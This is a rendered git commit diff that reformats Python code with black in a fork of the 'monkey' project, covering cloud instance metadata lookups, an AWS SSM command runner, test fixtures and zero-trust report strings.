forked from p15670423/monkey
Fixed screwed up formatting with black
This commit is contained in:
parent
03bcfc97af
commit
3149dcc8ec
|
@ -34,27 +34,26 @@ class AwsInstance(CloudInstance):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
response = requests.get(
|
response = requests.get(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2
|
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2
|
||||||
)
|
)
|
||||||
self.instance_id = response.text if response else None
|
self.instance_id = response.text if response else None
|
||||||
self.region = self._parse_region(
|
self.region = self._parse_region(
|
||||||
requests.get(
|
requests.get(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone"
|
AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone"
|
||||||
).text
|
).text
|
||||||
)
|
)
|
||||||
except (requests.RequestException, IOError) as e:
|
except (requests.RequestException, IOError) as e:
|
||||||
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.account_id = self._extract_account_id(
|
self.account_id = self._extract_account_id(
|
||||||
requests.get(
|
requests.get(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document",
|
AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2
|
||||||
timeout=2
|
).text
|
||||||
).text
|
|
||||||
)
|
)
|
||||||
except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e:
|
except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Failed init of AwsInstance while getting dynamic instance data: {}".format(e)
|
"Failed init of AwsInstance while getting dynamic instance data: {}".format(e)
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -20,10 +20,10 @@ logger = logging.getLogger(__name__)
|
||||||
def filter_instance_data_from_aws_response(response):
|
def filter_instance_data_from_aws_response(response):
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
"instance_id":x[INSTANCE_ID_KEY],
|
"instance_id": x[INSTANCE_ID_KEY],
|
||||||
"name":x[COMPUTER_NAME_KEY],
|
"name": x[COMPUTER_NAME_KEY],
|
||||||
"os":x[PLATFORM_TYPE_KEY].lower(),
|
"os": x[PLATFORM_TYPE_KEY].lower(),
|
||||||
"ip_address":x[IP_ADDRESS_KEY],
|
"ip_address": x[IP_ADDRESS_KEY],
|
||||||
}
|
}
|
||||||
for x in response[INSTANCE_INFORMATION_LIST_KEY]
|
for x in response[INSTANCE_INFORMATION_LIST_KEY]
|
||||||
]
|
]
|
||||||
|
@ -50,7 +50,7 @@ class AwsService(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_client(client_type, region=None):
|
def get_client(client_type, region=None):
|
||||||
return boto3.client(
|
return boto3.client(
|
||||||
client_type, region_name=region if region is not None else AwsService.region
|
client_type, region_name=region if region is not None else AwsService.region
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -38,14 +38,14 @@ EXPECTED_ACCOUNT_ID = "123456789012"
|
||||||
|
|
||||||
|
|
||||||
def get_test_aws_instance(
|
def get_test_aws_instance(
|
||||||
text={"instance_id":None, "region":None, "account_id":None},
|
text={"instance_id": None, "region": None, "account_id": None},
|
||||||
exception={"instance_id":None, "region":None, "account_id":None},
|
exception={"instance_id": None, "region": None, "account_id": None},
|
||||||
):
|
):
|
||||||
with requests_mock.Mocker() as m:
|
with requests_mock.Mocker() as m:
|
||||||
# request made to get instance_id
|
# request made to get instance_id
|
||||||
url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id"
|
url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id"
|
||||||
m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get(
|
m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get(
|
||||||
url, exc=exception["instance_id"]
|
url, exc=exception["instance_id"]
|
||||||
)
|
)
|
||||||
|
|
||||||
# request made to get region
|
# request made to get region
|
||||||
|
@ -55,7 +55,7 @@ def get_test_aws_instance(
|
||||||
# request made to get account_id
|
# request made to get account_id
|
||||||
url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document"
|
url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document"
|
||||||
m.get(url, text=text["account_id"]) if text["account_id"] else m.get(
|
m.get(url, text=text["account_id"]) if text["account_id"] else m.get(
|
||||||
url, exc=exception["account_id"]
|
url, exc=exception["account_id"]
|
||||||
)
|
)
|
||||||
|
|
||||||
test_aws_instance_object = AwsInstance()
|
test_aws_instance_object = AwsInstance()
|
||||||
|
@ -66,11 +66,11 @@ def get_test_aws_instance(
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def good_data_mock_instance():
|
def good_data_mock_instance():
|
||||||
return get_test_aws_instance(
|
return get_test_aws_instance(
|
||||||
text={
|
text={
|
||||||
"instance_id":INSTANCE_ID_RESPONSE,
|
"instance_id": INSTANCE_ID_RESPONSE,
|
||||||
"region":AVAILABILITY_ZONE_RESPONSE,
|
"region": AVAILABILITY_ZONE_RESPONSE,
|
||||||
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -98,11 +98,11 @@ def test_get_account_id_good_data(good_data_mock_instance):
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def bad_region_data_mock_instance():
|
def bad_region_data_mock_instance():
|
||||||
return get_test_aws_instance(
|
return get_test_aws_instance(
|
||||||
text={
|
text={
|
||||||
"instance_id":INSTANCE_ID_RESPONSE,
|
"instance_id": INSTANCE_ID_RESPONSE,
|
||||||
"region":"in-a-different-world",
|
"region": "in-a-different-world",
|
||||||
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -130,11 +130,11 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance):
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def bad_account_id_data_mock_instance():
|
def bad_account_id_data_mock_instance():
|
||||||
return get_test_aws_instance(
|
return get_test_aws_instance(
|
||||||
text={
|
text={
|
||||||
"instance_id":INSTANCE_ID_RESPONSE,
|
"instance_id": INSTANCE_ID_RESPONSE,
|
||||||
"region":AVAILABILITY_ZONE_RESPONSE,
|
"region": AVAILABILITY_ZONE_RESPONSE,
|
||||||
"account_id":"who-am-i",
|
"account_id": "who-am-i",
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -162,12 +162,12 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def bad_instance_id_request_mock_instance(instance_id_exception):
|
def bad_instance_id_request_mock_instance(instance_id_exception):
|
||||||
return get_test_aws_instance(
|
return get_test_aws_instance(
|
||||||
text={
|
text={
|
||||||
"instance_id":None,
|
"instance_id": None,
|
||||||
"region":AVAILABILITY_ZONE_RESPONSE,
|
"region": AVAILABILITY_ZONE_RESPONSE,
|
||||||
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
||||||
},
|
},
|
||||||
exception={"instance_id":instance_id_exception, "region":None, "account_id":None},
|
exception={"instance_id": instance_id_exception, "region": None, "account_id": None},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -200,12 +200,12 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def bad_region_request_mock_instance(region_exception):
|
def bad_region_request_mock_instance(region_exception):
|
||||||
return get_test_aws_instance(
|
return get_test_aws_instance(
|
||||||
text={
|
text={
|
||||||
"instance_id":INSTANCE_ID_RESPONSE,
|
"instance_id": INSTANCE_ID_RESPONSE,
|
||||||
"region":None,
|
"region": None,
|
||||||
"account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
"account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE,
|
||||||
},
|
},
|
||||||
exception={"instance_id":None, "region":region_exception, "account_id":None},
|
exception={"instance_id": None, "region": region_exception, "account_id": None},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -238,12 +238,12 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance):
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def bad_account_id_request_mock_instance(account_id_exception):
|
def bad_account_id_request_mock_instance(account_id_exception):
|
||||||
return get_test_aws_instance(
|
return get_test_aws_instance(
|
||||||
text={
|
text={
|
||||||
"instance_id":INSTANCE_ID_RESPONSE,
|
"instance_id": INSTANCE_ID_RESPONSE,
|
||||||
"region":AVAILABILITY_ZONE_RESPONSE,
|
"region": AVAILABILITY_ZONE_RESPONSE,
|
||||||
"account_id":None,
|
"account_id": None,
|
||||||
},
|
},
|
||||||
exception={"instance_id":None, "region":None, "account_id":account_id_exception},
|
exception={"instance_id": None, "region": None, "account_id": account_id_exception},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -50,9 +50,9 @@ class TestFilterInstanceDataFromAwsResponse(TestCase):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
filter_instance_data_from_aws_response(json.loads(json_response_empty)), []
|
filter_instance_data_from_aws_response(json.loads(json_response_empty)), []
|
||||||
)
|
)
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
filter_instance_data_from_aws_response(json.loads(json_response_full)),
|
filter_instance_data_from_aws_response(json.loads(json_response_full)),
|
||||||
[{"instance_id":"string", "ip_address":"string", "name":"string", "os":"string"}],
|
[{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}],
|
||||||
)
|
)
|
||||||
|
|
|
@ -9,8 +9,7 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||||
|
|
||||||
LATEST_AZURE_METADATA_API_VERSION = "2019-04-30"
|
LATEST_AZURE_METADATA_API_VERSION = "2019-04-30"
|
||||||
AZURE_METADATA_SERVICE_URL = (
|
AZURE_METADATA_SERVICE_URL = (
|
||||||
"http://169.254.169.254/metadata/instance?api-version=%s" %
|
"http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION
|
||||||
LATEST_AZURE_METADATA_API_VERSION
|
|
||||||
)
|
)
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -40,9 +39,9 @@ class AzureInstance(CloudInstance):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
response = requests.get(
|
response = requests.get(
|
||||||
AZURE_METADATA_SERVICE_URL,
|
AZURE_METADATA_SERVICE_URL,
|
||||||
headers={"Metadata":"true"},
|
headers={"Metadata": "true"},
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
||||||
# If not on cloud, the metadata URL is non-routable and the connection will fail.
|
# If not on cloud, the metadata URL is non-routable and the connection will fail.
|
||||||
|
@ -55,8 +54,8 @@ class AzureInstance(CloudInstance):
|
||||||
logger.warning(f"Metadata response not ok: {response.status_code}")
|
logger.warning(f"Metadata response not ok: {response.status_code}")
|
||||||
except requests.RequestException:
|
except requests.RequestException:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Failed to get response from Azure metadata service: This instance is not on "
|
"Failed to get response from Azure metadata service: This instance is not on "
|
||||||
"Azure."
|
"Azure."
|
||||||
)
|
)
|
||||||
|
|
||||||
def try_parse_response(self, response):
|
def try_parse_response(self, response):
|
||||||
|
|
|
@ -7,96 +7,96 @@ from common.cloud.azure.azure_instance import AZURE_METADATA_SERVICE_URL, AzureI
|
||||||
from common.cloud.environment_names import Environment
|
from common.cloud.environment_names import Environment
|
||||||
|
|
||||||
GOOD_DATA = {
|
GOOD_DATA = {
|
||||||
"compute":{
|
"compute": {
|
||||||
"azEnvironment":"AZUREPUBLICCLOUD",
|
"azEnvironment": "AZUREPUBLICCLOUD",
|
||||||
"isHostCompatibilityLayerVm":"true",
|
"isHostCompatibilityLayerVm": "true",
|
||||||
"licenseType":"Windows_Client",
|
"licenseType": "Windows_Client",
|
||||||
"location":"westus",
|
"location": "westus",
|
||||||
"name":"examplevmname",
|
"name": "examplevmname",
|
||||||
"offer":"Windows",
|
"offer": "Windows",
|
||||||
"osProfile":{
|
"osProfile": {
|
||||||
"adminUsername":"admin",
|
"adminUsername": "admin",
|
||||||
"computerName":"examplevmname",
|
"computerName": "examplevmname",
|
||||||
"disablePasswordAuthentication":"true",
|
"disablePasswordAuthentication": "true",
|
||||||
},
|
},
|
||||||
"osType":"linux",
|
"osType": "linux",
|
||||||
"placementGroupId":"f67c14ab-e92c-408c-ae2d-da15866ec79a",
|
"placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a",
|
||||||
"plan":{"name":"planName", "product":"planProduct", "publisher":"planPublisher"},
|
"plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"},
|
||||||
"platformFaultDomain":"36",
|
"platformFaultDomain": "36",
|
||||||
"platformUpdateDomain":"42",
|
"platformUpdateDomain": "42",
|
||||||
"publicKeys":[
|
"publicKeys": [
|
||||||
{"keyData":"ssh-rsa 0", "path":"/home/user/.ssh/authorized_keys0"},
|
{"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"},
|
||||||
{"keyData":"ssh-rsa 1", "path":"/home/user/.ssh/authorized_keys1"},
|
{"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"},
|
||||||
],
|
],
|
||||||
"publisher":"RDFE-Test-Microsoft-Windows-Server-Group",
|
"publisher": "RDFE-Test-Microsoft-Windows-Server-Group",
|
||||||
"resourceGroupName":"macikgo-test-may-23",
|
"resourceGroupName": "macikgo-test-may-23",
|
||||||
"resourceId":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test"
|
"resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test"
|
||||||
"-may-23/"
|
"-may-23/"
|
||||||
"providers/Microsoft.Compute/virtualMachines/examplevmname",
|
"providers/Microsoft.Compute/virtualMachines/examplevmname",
|
||||||
"securityProfile":{"secureBootEnabled":"true", "virtualTpmEnabled":"false"},
|
"securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"},
|
||||||
"sku":"Windows-Server-2012-R2-Datacenter",
|
"sku": "Windows-Server-2012-R2-Datacenter",
|
||||||
"storageProfile":{
|
"storageProfile": {
|
||||||
"dataDisks":[
|
"dataDisks": [
|
||||||
{
|
{
|
||||||
"caching":"None",
|
"caching": "None",
|
||||||
"createOption":"Empty",
|
"createOption": "Empty",
|
||||||
"diskSizeGB":"1024",
|
"diskSizeGB": "1024",
|
||||||
"image":{"uri":""},
|
"image": {"uri": ""},
|
||||||
"lun":"0",
|
"lun": "0",
|
||||||
"managedDisk":{
|
"managedDisk": {
|
||||||
"id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
|
"id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
|
||||||
"resourceGroups/macikgo-test-may-23/providers/"
|
"resourceGroups/macikgo-test-may-23/providers/"
|
||||||
"Microsoft.Compute/disks/exampledatadiskname",
|
"Microsoft.Compute/disks/exampledatadiskname",
|
||||||
"storageAccountType":"Standard_LRS",
|
"storageAccountType": "Standard_LRS",
|
||||||
},
|
},
|
||||||
"name":"exampledatadiskname",
|
"name": "exampledatadiskname",
|
||||||
"vhd":{"uri":""},
|
"vhd": {"uri": ""},
|
||||||
"writeAcceleratorEnabled":"false",
|
"writeAcceleratorEnabled": "false",
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"imageReference":{
|
"imageReference": {
|
||||||
"id":"",
|
"id": "",
|
||||||
"offer":"UbuntuServer",
|
"offer": "UbuntuServer",
|
||||||
"publisher":"Canonical",
|
"publisher": "Canonical",
|
||||||
"sku":"16.04.0-LTS",
|
"sku": "16.04.0-LTS",
|
||||||
"version":"latest",
|
"version": "latest",
|
||||||
},
|
},
|
||||||
"osDisk":{
|
"osDisk": {
|
||||||
"caching":"ReadWrite",
|
"caching": "ReadWrite",
|
||||||
"createOption":"FromImage",
|
"createOption": "FromImage",
|
||||||
"diskSizeGB":"30",
|
"diskSizeGB": "30",
|
||||||
"diffDiskSettings":{"option":"Local"},
|
"diffDiskSettings": {"option": "Local"},
|
||||||
"encryptionSettings":{"enabled":"false"},
|
"encryptionSettings": {"enabled": "false"},
|
||||||
"image":{"uri":""},
|
"image": {"uri": ""},
|
||||||
"managedDisk":{
|
"managedDisk": {
|
||||||
"id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
|
"id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/"
|
||||||
"resourceGroups/macikgo-test-may-23/providers/"
|
"resourceGroups/macikgo-test-may-23/providers/"
|
||||||
"Microsoft.Compute/disks/exampleosdiskname",
|
"Microsoft.Compute/disks/exampleosdiskname",
|
||||||
"storageAccountType":"Standard_LRS",
|
"storageAccountType": "Standard_LRS",
|
||||||
},
|
},
|
||||||
"name":"exampleosdiskname",
|
"name": "exampleosdiskname",
|
||||||
"osType":"Linux",
|
"osType": "Linux",
|
||||||
"vhd":{"uri":""},
|
"vhd": {"uri": ""},
|
||||||
"writeAcceleratorEnabled":"false",
|
"writeAcceleratorEnabled": "false",
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"subscriptionId":"xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx",
|
"subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx",
|
||||||
"tags":"baz:bash;foo:bar",
|
"tags": "baz:bash;foo:bar",
|
||||||
"version":"15.05.22",
|
"version": "15.05.22",
|
||||||
"vmId":"02aab8a4-74ef-476e-8182-f6d2ba4166a6",
|
"vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6",
|
||||||
"vmScaleSetName":"crpteste9vflji9",
|
"vmScaleSetName": "crpteste9vflji9",
|
||||||
"vmSize":"Standard_A3",
|
"vmSize": "Standard_A3",
|
||||||
"zone":"",
|
"zone": "",
|
||||||
},
|
},
|
||||||
"network":{
|
"network": {
|
||||||
"interface":[
|
"interface": [
|
||||||
{
|
{
|
||||||
"ipv4":{
|
"ipv4": {
|
||||||
"ipAddress":[{"privateIpAddress":"10.144.133.132", "publicIpAddress":""}],
|
"ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}],
|
||||||
"subnet":[{"address":"10.144.133.128", "prefix":"26"}],
|
"subnet": [{"address": "10.144.133.128", "prefix": "26"}],
|
||||||
},
|
},
|
||||||
"ipv6":{"ipAddress":[]},
|
"ipv6": {"ipAddress": []},
|
||||||
"macAddress":"0011AAFFBB22",
|
"macAddress": "0011AAFFBB22",
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
@ -113,7 +113,7 @@ javascript\">\nvar pageName = '/';\ntop.location.replace(pageName);\n</script>\n
|
||||||
"</body>\n</html>\n"
|
"</body>\n</html>\n"
|
||||||
)
|
)
|
||||||
|
|
||||||
BAD_DATA_JSON = {"":""}
|
BAD_DATA_JSON = {"": ""}
|
||||||
|
|
||||||
|
|
||||||
def get_test_azure_instance(url, **kwargs):
|
def get_test_azure_instance(url, **kwargs):
|
||||||
|
|
|
@ -39,16 +39,16 @@ class GcpInstance(CloudInstance):
|
||||||
else:
|
else:
|
||||||
if not response.headers["Metadata-Flavor"] == "Google":
|
if not response.headers["Metadata-Flavor"] == "Google":
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"Got unexpected Metadata flavor: {}".format(
|
"Got unexpected Metadata flavor: {}".format(
|
||||||
response.headers["Metadata-Flavor"]
|
response.headers["Metadata-Flavor"]
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
logger.warning(
|
logger.warning(
|
||||||
"On GCP, but metadata response not ok: {}".format(response.status_code)
|
"On GCP, but metadata response not ok: {}".format(response.status_code)
|
||||||
)
|
)
|
||||||
except requests.RequestException:
|
except requests.RequestException:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Failed to get response from GCP metadata service: This instance is not on GCP"
|
"Failed to get response from GCP metadata service: This instance is not on GCP"
|
||||||
)
|
)
|
||||||
self._on_gcp = False
|
self._on_gcp = False
|
||||||
|
|
|
@ -10,10 +10,10 @@ class AwsCmdResult(CmdResult):
|
||||||
|
|
||||||
def __init__(self, command_info):
|
def __init__(self, command_info):
|
||||||
super(AwsCmdResult, self).__init__(
|
super(AwsCmdResult, self).__init__(
|
||||||
self.is_successful(command_info, True),
|
self.is_successful(command_info, True),
|
||||||
command_info["ResponseCode"],
|
command_info["ResponseCode"],
|
||||||
command_info["StandardOutputContent"],
|
command_info["StandardOutputContent"],
|
||||||
command_info["StandardErrorContent"],
|
command_info["StandardErrorContent"],
|
||||||
)
|
)
|
||||||
self.command_info = command_info
|
self.command_info = command_info
|
||||||
|
|
||||||
|
@ -27,5 +27,5 @@ class AwsCmdResult(CmdResult):
|
||||||
:return: True if successful, False otherwise.
|
:return: True if successful, False otherwise.
|
||||||
"""
|
"""
|
||||||
return (command_info["Status"] == "Success") or (
|
return (command_info["Status"] == "Success") or (
|
||||||
is_timeout and (command_info["Status"] == "InProgress")
|
is_timeout and (command_info["Status"] == "InProgress")
|
||||||
)
|
)
|
||||||
|
|
|
@ -38,8 +38,8 @@ class AwsCmdRunner(CmdRunner):
|
||||||
def run_command_async(self, command_line):
|
def run_command_async(self, command_line):
|
||||||
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
|
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
|
||||||
command_res = self.ssm.send_command(
|
command_res = self.ssm.send_command(
|
||||||
DocumentName=doc_name,
|
DocumentName=doc_name,
|
||||||
Parameters={"commands":[command_line]},
|
Parameters={"commands": [command_line]},
|
||||||
InstanceIds=[self.instance_id],
|
InstanceIds=[self.instance_id],
|
||||||
)
|
)
|
||||||
return command_res["Command"]["CommandId"]
|
return command_res["Command"]["CommandId"]
|
||||||
|
|
|
@ -95,7 +95,7 @@ class CmdRunner(object):
|
||||||
|
|
||||||
while (curr_time - init_time < timeout) and (len(commands) != 0):
|
while (curr_time - init_time < timeout) and (len(commands) != 0):
|
||||||
for command in list(
|
for command in list(
|
||||||
commands
|
commands
|
||||||
): # list(commands) clones the list. We do so because we remove items inside
|
): # list(commands) clones the list. We do so because we remove items inside
|
||||||
CmdRunner._process_command(command, commands, results, True)
|
CmdRunner._process_command(command, commands, results, True)
|
||||||
|
|
||||||
|
@ -108,9 +108,9 @@ class CmdRunner(object):
|
||||||
for command, result in results:
|
for command, result in results:
|
||||||
if not result.is_success:
|
if not result.is_success:
|
||||||
logger.error(
|
logger.error(
|
||||||
"The following command failed: `%s`. status code: %s",
|
"The following command failed: `%s`. status code: %s",
|
||||||
str(command[1]),
|
str(command[1]),
|
||||||
str(result.status_code),
|
str(result.status_code),
|
||||||
)
|
)
|
||||||
|
|
||||||
return results
|
return results
|
||||||
|
@ -157,7 +157,7 @@ class CmdRunner(object):
|
||||||
try:
|
try:
|
||||||
command_info = c_runner.query_command(c_id)
|
command_info = c_runner.query_command(c_id)
|
||||||
if (not should_process_only_finished) or c_runner.get_command_status(
|
if (not should_process_only_finished) or c_runner.get_command_status(
|
||||||
command_info
|
command_info
|
||||||
) != CmdStatus.IN_PROGRESS:
|
) != CmdStatus.IN_PROGRESS:
|
||||||
commands.remove(command)
|
commands.remove(command)
|
||||||
results.append((command, c_runner.get_command_result(command_info)))
|
results.append((command, c_runner.get_command_result(command_info)))
|
||||||
|
|
|
@ -81,24 +81,24 @@ PRINCIPLE_DISASTER_RECOVERY = "data_backup"
|
||||||
PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication"
|
PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication"
|
||||||
PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging"
|
PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging"
|
||||||
PRINCIPLES = {
|
PRINCIPLES = {
|
||||||
PRINCIPLE_SEGMENTATION:"Apply segmentation and micro-segmentation inside your "
|
PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your "
|
||||||
""
|
""
|
||||||
""
|
""
|
||||||
"network.",
|
"network.",
|
||||||
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC:"Analyze network traffic for malicious activity.",
|
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.",
|
||||||
PRINCIPLE_USER_BEHAVIOUR:"Adopt security user behavior analytics.",
|
PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.",
|
||||||
PRINCIPLE_ENDPOINT_SECURITY:"Use anti-virus and other traditional endpoint "
|
PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint "
|
||||||
"security solutions.",
|
"security solutions.",
|
||||||
PRINCIPLE_DATA_CONFIDENTIALITY:"Ensure data's confidentiality by encrypting it.",
|
PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.",
|
||||||
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES:"Configure network policies to be as restrictive as "
|
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as "
|
||||||
"possible.",
|
"possible.",
|
||||||
PRINCIPLE_USERS_MAC_POLICIES:"Users' permissions to the network and to resources "
|
PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources "
|
||||||
"should be MAC (Mandatory "
|
"should be MAC (Mandatory "
|
||||||
"Access Control) only.",
|
"Access Control) only.",
|
||||||
PRINCIPLE_DISASTER_RECOVERY:"Ensure data and infrastructure backups for disaster "
|
PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster "
|
||||||
"recovery scenarios.",
|
"recovery scenarios.",
|
||||||
PRINCIPLE_SECURE_AUTHENTICATION:"Ensure secure authentication process's.",
|
PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.",
|
||||||
PRINCIPLE_MONITORING_AND_LOGGING:"Ensure monitoring and logging in network resources.",
|
PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.",
|
||||||
}
|
}
|
||||||
|
|
||||||
POSSIBLE_STATUSES_KEY = "possible_statuses"
|
POSSIBLE_STATUSES_KEY = "possible_statuses"
|
||||||
|
@ -107,206 +107,206 @@ PRINCIPLE_KEY = "principle_key"
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
|
FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
|
||||||
TEST_EXPLANATION_KEY = "explanation"
|
TEST_EXPLANATION_KEY = "explanation"
|
||||||
TESTS_MAP = {
|
TESTS_MAP = {
|
||||||
TEST_SEGMENTATION:{
|
TEST_SEGMENTATION: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkey tried to scan and find machines that it can "
|
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can "
|
||||||
"communicate with from the machine it's "
|
"communicate with from the machine it's "
|
||||||
"running on, that belong to different network segments.",
|
"running on, that belong to different network segments.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED:"Monkey performed cross-segment communication. Check firewall rules and"
|
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and"
|
||||||
" logs.",
|
" logs.",
|
||||||
STATUS_PASSED:"Monkey couldn't perform cross-segment communication. If relevant, "
|
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, "
|
||||||
"check firewall logs.",
|
"check firewall logs.",
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY:PRINCIPLE_SEGMENTATION,
|
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
|
||||||
PILLARS_KEY:[NETWORKS],
|
PILLARS_KEY: [NETWORKS],
|
||||||
POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED],
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED],
|
||||||
},
|
},
|
||||||
TEST_MALICIOUS_ACTIVITY_TIMELINE:{
|
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
|
||||||
TEST_EXPLANATION_KEY:"The Monkeys in the network performed malicious-looking "
|
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking "
|
||||||
"actions, like scanning and attempting "
|
"actions, like scanning and attempting "
|
||||||
"exploitation.",
|
"exploitation.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY:{
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
